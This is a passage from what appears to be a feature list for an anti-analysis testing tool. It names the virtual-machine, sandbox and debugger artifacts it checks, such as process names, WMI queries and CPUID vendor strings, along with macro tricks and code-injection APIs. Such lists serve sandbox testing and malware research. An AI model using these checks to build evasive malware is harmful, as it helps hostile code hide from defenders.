    • ACPI string checks (VirtualBox)
    • ACPI string checks (VMWare)
    • ACPI string checks (Qemu)
  • Driver Services
    • VirtualBox
    • VMWare
  • Adapter name
    • VMWare
  • Windows Class
    • VBoxTrayToolWndClass
    • VBoxTrayToolWnd
  • Network shares
    • VirtualBox Shared Folders
  • Processes
    • vboxservice.exe (VBOX)
    • vboxtray.exe (VBOX)
    • vmtoolsd.exe(VMWARE)
    • vmwaretray.exe(VMWARE)
    • vmwareuser(VMWARE)
    • VGAuthService.exe (VMWARE)
    • vmacthlp.exe (VMWARE)
    • vmsrvc.exe(VirtualPC)
    • vmusrvc.exe(VirtualPC)
    • prl_cc.exe(Parallels)
    • prl_tools.exe(Parallels)
    • xenservice.exe(Citrix Xen)
    • qemu-ga.exe (QEMU)
  • WMI
    • SELECT * FROM Win32_Bios (SerialNumber) (GENERIC)
    • SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)
    • SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)
    • SELECT * FROM Win32_NTEventlogFile (VBOX)
    • SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)
    • SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)
    • SELECT * FROM Win32_Computer (Model and Manufacturer) (GENERIC)
    • SELECT * FROM MSAcpi_ThermalZoneTemperature CurrentTemperature) (GENERIC)
  • DLL Exports and Loaded DLLs
    • avghookx.dll (AVG)
    • avghooka.dll (AVG)
    • snxhk.dll (Avast)
    • kernel32.dll!wine_get_unix_file_nameWine (Wine)
    • sbiedll.dll (Sandboxie)
    • dbghelp.dll (MS debugging support routines)
    • api_log.dll (iDefense Labs)
    • dir_watch.dll (iDefense Labs)
    • pstorec.dll (SunBelt Sandbox)
    • vmcheck.dll (Virtual PC)
    • wpespy.dll (WPE Pro)
  • CPU
    • Hypervisor presence using (EAX=0x1)
    • Hypervisor vendor using (EAX=0x40000000)
      • «KVMKVMKVM\0\0\0» (KVM)
        • «Microsoft Hv»(Microsoft Hyper-V or Windows Virtual PC)
        • «VMwareVMware»(VMware)
        • «XenVMMXenVMM»(Xen)
        • «prl hyperv «( Parallels) -«VBoxVBoxVBox»( VirtualBox)

Anti-Analysis

  • Processes
    • OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
    • SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)
    • Wireshark / Dumpcap
    • ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
    • ImportREC / PETools / LordPE
    • JoeBox Sandbox

Macro malware attacks

  • Document_Close / Auto_Close.
  • Application.RecentFiles.Count

Code/DLL Injections techniques

  • CreateRemoteThread
  • SetWindowsHooksEx
  • NtCreateThreadEx
  • RtlCreateUserThread
  • APC (QueueUserAPC / NtQueueApcThread)
  • RunPE (GetThreadContext / SetThreadContext)

Contributors

References